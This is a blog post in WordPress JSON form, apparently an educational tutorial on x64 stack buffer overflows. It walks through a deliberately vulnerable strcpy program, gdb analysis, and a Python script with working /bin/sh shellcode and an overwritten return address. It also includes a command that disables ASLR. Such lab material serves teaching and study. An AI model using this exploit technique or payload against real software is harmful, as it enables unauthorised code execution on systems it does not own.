{"id":3646,"date":"2019-11-23T15:51:39","date_gmt":"2019-11-23T15:51:39","guid":{"rendered":"http:\/\/www.max-sperling.bplaced.net\/?p=3646"},"modified":"2024-02-16T10:36:55","modified_gmt":"2024-02-16T10:36:55","slug":"shellcode-injection-via-buffer-overflow-c","status":"publish","type":"post","link":"http:\/\/www.max-sperling.bplaced.net\/?p=3646","title":{"rendered":"Shellcode injection via buffer overflow (x64)"},"content":{"rendered":"<p><strong>Disclaimer<\/strong><br \/>\n&#8211; The application has to be vulnerable (e.g. gets, scanf, strcpy) for an overflow attack.<br \/>\n&#8211; Modern compilers are making it nearly impossible to inject and then execute shellcode.<\/p>\n<hr>\n<p><strong>Setup<\/strong><\/p>\n<pre class=\"brush: cpp; gutter: false; title: main.cpp; notranslate\" title=\"main.cpp\">\r\n#include &lt;stdio.h&gt;\r\n#include &lt;string.h&gt;\r\n\r\nint main(int argc, char *argv[])\r\n{\r\n  char buf[100];\r\n  strcpy(buf, argv[1]);\r\n  return 0;\r\n}\r\n<\/pre>\n<p><u>Important<\/u>: The following parameters are necessary for writing and executing shellcode on the stack.<\/p>\n<pre>\r\n$ g++ -fno-stack-protector -z execstack main.cpp\r\n<\/pre>\n<hr>\n<p><strong>Analysis<\/strong><\/p>\n<pre class=\"brush: plain; gutter: false; title: ; notranslate\" title=\"\">\r\n$ gdb a.out\r\n(gdb) disas main\r\nDump of assembler code for function main:\r\n   0x0000000000400502 &lt;+0&gt;:     push   %rbp\r\n   0x0000000000400503 &lt;+1&gt;:     mov    %rsp,%rbp\r\n   0x0000000000400506 &lt;+4&gt;:     add    $0xffffffffffffff80,%rsp\r\n   0x000000000040050a &lt;+8&gt;:     mov    %edi,-0x74(%rbp)\r\n   0x000000000040050d &lt;+11&gt;:    mov    %rsi,-0x80(%rbp)\r\n   0x0000000000400511 &lt;+15&gt;:    mov    -0x80(%rbp),%rax\r\n   0x0000000000400515 &lt;+19&gt;:    add    $0x8,%rax\r\n   0x0000000000400519 &lt;+23&gt;:    mov    (%rax),%rdx\r\n   0x000000000040051c &lt;+26&gt;:    lea    -0x70(%rbp),%rax\r\n   0x0000000000400520 &lt;+30&gt;:    mov    %rdx,%rsi\r\n   0x0000000000400523 &lt;+33&gt;:    mov    %rax,%rdi\r\n   0x0000000000400526 &lt;+36&gt;:    callq  0x400420 &lt;strcpy@plt&gt;\r\n   0x000000000040052b &lt;+41&gt;:    mov    $0x0,%eax\r\n   0x0000000000400530 &lt;+46&gt;:    leaveq \r\n   0x0000000000400531 &lt;+47&gt;:    retq   \r\nEnd of assembler dump.\r\n(gdb) b *0x0000000000400530\r\nBreakpoint 1 at 0x400530\r\n(gdb) r AAAA\r\nBreakpoint 1, 0x0000000000400530 in main ()\r\n(gdb) info f\r\nStack level 0, frame at 0x7fffffffe440:\r\n rip = 0x400530 in main; saved rip = 0x7ffff7165fbb\r\n Arglist at 0x7fffffffe430, args: \r\n Locals at 0x7fffffffe430, Previous frame&#039;s sp is 0x7fffffffe440\r\n Saved registers:\r\n  rbp at 0x7fffffffe430, rip at 0x7fffffffe438\r\n(gdb) x\/40x $rsp\r\n0x7fffffffe3b0: 0xffffe518      0x00007fff      0x00000000      0x00000002\r\n0x7fffffffe3c0: 0x41414141      0x00000000      0x0060ae08      0x00000000\r\n0x7fffffffe3d0: 0x00011bff      0x00000000      0x00011c30      0x00000000\r\n0x7fffffffe3e0: 0xffffff90      0xffffffff      0x00000470      0x00000000\r\n0x7fffffffe3f0: 0x000011c1      0x000004a0      0x00400585      0x00000000\r\n0x7fffffffe400: 0xf7de5470      0x00007fff      0x00000000      0x00000000\r\n0x7fffffffe410: 0x00400540      0x00000000      0x00400430      0x00000000\r\n0x7fffffffe420: 0xffffe510      0x00007fff      0x00000000      0x00000000\r\n0x7fffffffe430: 0x00400540      0x00000000      0xf7165fbb      0x00007fff\r\n0x7fffffffe440: 0xffffff90      0xffffffff      0xffffe518      0x00007fff\r\n(gdb) p\/d 0x7fffffffe438 - 0x7fffffffe3c0\r\n$1 = 120\r\n<\/pre>\n<p>&#8211; 0x7fffffffe438 is the address of RIP (Instruction Pointer)<br \/>\n&#8211; 0x7fffffffe3c0 is the address of Buf[0] (\\x41 encodes &#8216;A&#8217;)<\/p>\n<p>Based on the length of the input argument these addresses will get changed. Let&#8217;s run the application with the protoypic, but full length parameter.<\/p>\n<pre class=\"brush: plain; gutter: false; title: ; notranslate\" title=\"\">\r\n(gdb) r $(python -c &quot;print(&#039;A&#039; * 120 + &#039;B&#039; * 8)&quot;)\r\nBreakpoint 1, 0x0000000000400530 in main ()\r\n(gdb) x\/40x $rsp\r\n0x7fffffffe340: 0xffffe4a8      0x00007fff      0x00000000      0x00000002\r\n0x7fffffffe350: 0x41414141      0x41414141      0x41414141      0x41414141\r\n0x7fffffffe360: 0x41414141      0x41414141      0x41414141      0x41414141\r\n0x7fffffffe370: 0x41414141      0x41414141      0x41414141      0x41414141\r\n0x7fffffffe380: 0x41414141      0x41414141      0x41414141      0x41414141\r\n0x7fffffffe390: 0x41414141      0x41414141      0x41414141      0x41414141\r\n0x7fffffffe3a0: 0x41414141      0x41414141      0x41414141      0x41414141\r\n0x7fffffffe3b0: 0x41414141      0x41414141      0x41414141      0x41414141\r\n0x7fffffffe3c0: 0x41414141      0x41414141      0x42424242      0x42424242\r\n0x7fffffffe3d0: 0xffffff00      0xffffffff      0xffffe4a8      0x00007fff\r\n<\/pre>\n<p>&#8211; From 0x7fffffffe350 til 0x7fffffffe3c8 (120 Byte): NOP slide + Shellcode + Padding<br \/>\n&#8211; From 0x7fffffffe3c8 til 0x7fffffffe3d0 (8 Byte): RIP to somewhere within the NOP slide <\/p>\n<hr>\n<p><strong>Code Injection<\/strong><\/p>\n<pre class=\"brush: python; gutter: false; title: overflow.py; notranslate\" title=\"overflow.py\">\r\n# Shellcode: 24 Byte\r\nCODE = &quot;\\x50\\x48\\x31\\xd2\\x48\\x31\\xf6\\x48\\xbb\\x2f\\x62\\x69\\x6e\\x2f\\x2f\\x73\\x68\\x53\\x54\\x5f\\xb0\\x3b\\x0f\\x05&quot;\r\n\r\n# NOP slide: 100 Byte - 24 Byte = 76 Byte\r\nNOP = &quot;\\x90&quot; * 76\r\n\r\n# Padding: 120 Byte - 100 Byte = 20 Byte\r\nPAD = &quot;\\x41&quot; * 20\r\n\r\n# Instruction Pointer\r\nRIP = &quot;\\x60\\xe3\\xff\\xff\\xff\\x7f&quot; # \\x00\\x00 at the front would get ignored\r\n\r\nprint NOP + CODE + PAD + RIP\r\n<\/pre>\n<p>(The generating of the shellcode is another topic, which is to big to get included in this post. The used one opens a shell for the user.)<\/p>\n<p>Let&#8217;s try if the written python script brings the application to open a shell for us.<\/p>\n<pre class=\"brush: plain; gutter: false; title: ; notranslate\" title=\"\">\r\n(gdb) r $(python overflow.py)\r\nBreakpoint 1, 0x0000000000400530 in main ()\r\n(gdb) x\/40x $rsp\r\n0x7fffffffe340: 0xffffe4a8      0x00007fff      0x00000000      0x00000002\r\n0x7fffffffe350: 0x90909090      0x90909090      0x90909090      0x90909090\r\n0x7fffffffe360: 0x90909090      0x90909090      0x90909090      0x90909090\r\n0x7fffffffe370: 0x90909090      0x90909090      0x90909090      0x90909090\r\n0x7fffffffe380: 0x90909090      0x90909090      0x90909090      0x90909090\r\n0x7fffffffe390: 0x90909090      0x90909090      0x90909090      0xd2314850\r\n0x7fffffffe3a0: 0x48f63148      0x69622fbb      0x732f2f6e      0x5f545368\r\n0x7fffffffe3b0: 0x050f3bb0      0x41414141      0x41414141      0x41414141\r\n0x7fffffffe3c0: 0x41414141      0x41414141      0xffffe360      0x00007fff\r\n0x7fffffffe3d0: 0xffffff90      0xffffffff      0xffffe4a8      0x00007fff\r\n(gdb) c\r\nContinuing.\r\nprocess 14841 is executing new program: \/bin\/bash\r\n<\/pre>\n<p>Nice. Now let&#8217;s try if this also works without the GDB.<\/p>\n<p><u>Important<\/u>: Disable that Linux will randomize the virtual address space.<\/p>\n<pre>\r\necho \"0\" | dd of=\/proc\/sys\/kernel\/randomize_va_space\r\n<\/pre>\n<p>(Don&#8217;t forget to enable it (&#8220;2&#8221;) again afterwards.)<\/p>\n<pre class=\"brush: plain; gutter: false; title: ; notranslate\" title=\"\">\r\n$ .\/a.out $(python overflow.py)\r\nSegmentation fault (core dumped)\r\n<\/pre>\n<hr>\n<p><strong>Rework<\/strong><\/p>\n<pre class=\"brush: plain; gutter: false; title: ; notranslate\" title=\"\">\r\n$ gdb &lt;path\/to\/application&gt; &lt;path\/to\/coredump&gt;\r\nProgram terminated with signal SIGSEGV, Segmentation fault.\r\n#0  0x00007fffffffe360 in ?? ()\r\n(gdb) bt\r\n#0  0x00007fffffffe360 in ?? ()\r\n#1  0xffffffffffffff90 in ?? ()\r\n#2  0x00007fffffffe518 in ?? ()\r\n#3  0x00000002f7b0edd0 in ?? ()\r\n#4  0x0000000000400502 in frame_dummy ()\r\n#5  0x0000000000000000 in ?? ()\r\n(gdb) x\/80x 0x00007fffffffe360\r\n0x7fffffffe360: 0x00000000      0x00000000      0x00000000      0x00000000\r\n0x7fffffffe370: 0x00000000      0x00000000      0x00000000      0x00000000\r\n0x7fffffffe380: 0x00000025      0x00000000      0xf71c2fbf      0x00007fff\r\n0x7fffffffe390: 0x00000000      0x00000000      0xf7ffe120      0x00007fff\r\n0x7fffffffe3a0: 0x00000000      0x00000000      0x0040052b      0x00000000\r\n0x7fffffffe3b0: 0xffffe518      0x00007fff      0x00000000      0x00000002\r\n0x7fffffffe3c0: 0x90909090      0x90909090      0x90909090      0x90909090\r\n0x7fffffffe3d0: 0x90909090      0x90909090      0x90909090      0x90909090\r\n0x7fffffffe3e0: 0x90909090      0x90909090      0x90909090      0x90909090\r\n0x7fffffffe3f0: 0x90909090      0x90909090      0x90909090      0x90909090\r\n0x7fffffffe400: 0x90909090      0x90909090      0x90909090      0xd2314850\r\n0x7fffffffe410: 0x48f63148      0x69622fbb      0x732f2f6e      0x5f545368\r\n0x7fffffffe420: 0x050f3bb0      0x41414141      0x41414141      0x41414141\r\n0x7fffffffe430: 0x41414141      0x41414141      0xffffe360      0x00007fff\r\n0x7fffffffe440: 0xffffff90      0xffffffff      0xffffe518      0x00007fff\r\n0x7fffffffe450: 0xf7b0edd0      0x00000002      0x00400502      0x00000000\r\n0x7fffffffe460: 0x00000000      0x00000000      0xb7a9d099      0x7ba1f524\r\n0x7fffffffe470: 0x00400430      0x00000000      0xffffe510      0x00007fff\r\n0x7fffffffe480: 0x00000000      0x00000000      0x00000000      0x00000000\r\n0x7fffffffe490: 0x75a9d099      0x845e0a5b      0x03cfd099      0x845e1b88\r\n<\/pre>\n<p>OK. We have to change the RIP with a value between 0x7fffffffe3c0 and 0x7fffffffe40c.<\/p>\n<pre class=\"brush: python; gutter: false; title: ; notranslate\" title=\"\">\r\nRIP = &quot;\\xe0\\xe3\\xff\\xff\\xff\\x7f&quot;\r\n<\/pre>\n<p>Try again &#8230; Yeah, finally we got the shell also out of the GDB.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Disclaimer &#8211; The application has to be vulnerable (e.g. gets, scanf, strcpy) for an overflow attack. &#8211; Modern compilers are<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"inline_featured_image":false},"categories":[26],"tags":[],"_links":{"self":[{"href":"http:\/\/www.max-sperling.bplaced.net\/index.php?rest_route=\/wp\/v2\/posts\/3646"}],"collection":[{"href":"http:\/\/www.max-sperling.bplaced.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.max-sperling.bplaced.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.max-sperling.bplaced.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.max-sperling.bplaced.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=3646"}],"version-history":[{"count":1,"href":"http:\/\/www.max-sperling.bplaced.net\/index.php?rest_route=\/wp\/v2\/posts\/3646\/revisions"}],"predecessor-version":[{"id":16807,"href":"http:\/\/www.max-sperling.bplaced.net\/index.php?rest_route=\/wp\/v2\/posts\/3646\/revisions\/16807"}],"wp:attachment":[{"href":"http:\/\/www.max-sperling.bplaced.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=3646"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.max-sperling.bplaced.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=3646"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.max-sperling.bplaced.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=3646"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}